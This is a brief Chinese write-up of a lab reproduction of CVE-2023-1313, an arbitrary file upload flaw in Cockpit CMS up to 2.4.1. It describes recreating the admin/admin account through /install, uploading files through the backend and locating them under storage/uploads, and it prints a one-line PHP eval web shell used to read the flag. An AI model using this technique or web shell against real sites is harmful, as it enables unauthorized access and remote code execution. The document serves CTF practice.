cockpit <=2.4.1 后台任意文件上传漏洞靶场复现（CVE-2023-1313）

cockpit在2.4.1版本之前存在任意文件上传漏洞PS：通过在浏览器中打开/install来运行安装

主页界面

使用admin/admin登录不了

根据提示访问/install后自动创建admin/admin，再次登录可以

找到一个上传点，上传phpinfo并burp抓包


具体路径可以在上传后有个下载按钮，会看到完整的访问路径（前面是有storage/uploads）

phpinfo界面，接着上传小马找到/flag

<?php @eval($_POST['1']);?>



/install/index.php中有个新增账号的操作，所以访问/install自动创建新账号

参考：
春秋云镜 CVE-2023-1313 WP-CSDN博客